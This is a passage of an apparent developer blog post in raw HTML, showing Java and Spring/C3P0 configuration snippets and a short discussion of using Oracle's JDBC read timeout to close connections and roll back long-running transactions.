initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">!=</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">null</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">&&</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">!</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">conn</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">isClosed</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">())</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
conn</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">close</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">();</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">if</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">timer </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">!=</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">null</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">)</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
timer</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">cancel</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">();</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">}</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">}</span></code></pre>
<br />
Now I can get a socket timeout exception, and the database connection will be physically closed, the transaction will be rollback anyway. This solution can solve my problem, even though a read timeout, it is actually almost same with setQueryTimeout(), as only when jdbc driver issues a database request(statement),<br />
a socket read timeout maybe thrown out. The difference is by setQueryTimeout() it won't affect commit() and rollback, only statements.<br />
<br />
<b>What will happen if read timeout when commit?? Will client got exception, but the transaction is committed to database?? Let's consider it later.</b><br />
<br />
Ok, refactor my webapp with 'Oracle.jdbc.ReadTimeout'. It is also very simple, only need to amend the configuration of C3p0(no need spring transaction timeout setting).<br />
<span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;"></span><br />
<pre class="lang-java prettyprint" style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; max-height: 600px; overflow-x: auto; overflow-y: auto; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; vertical-align: baseline; width: auto;"><code style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">bean id</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"dataSource"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">class</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"com.mchange.v2.c3p0.ComboPooledDataSource"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
destroy</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">-</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">method</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"close"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"driverClass"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> value</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"${jdbc.driver}"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">/></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"jdbcUrl"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> value</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"${jdbc.url}"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">/></span><span class="pln" style="background-attachment: initial; 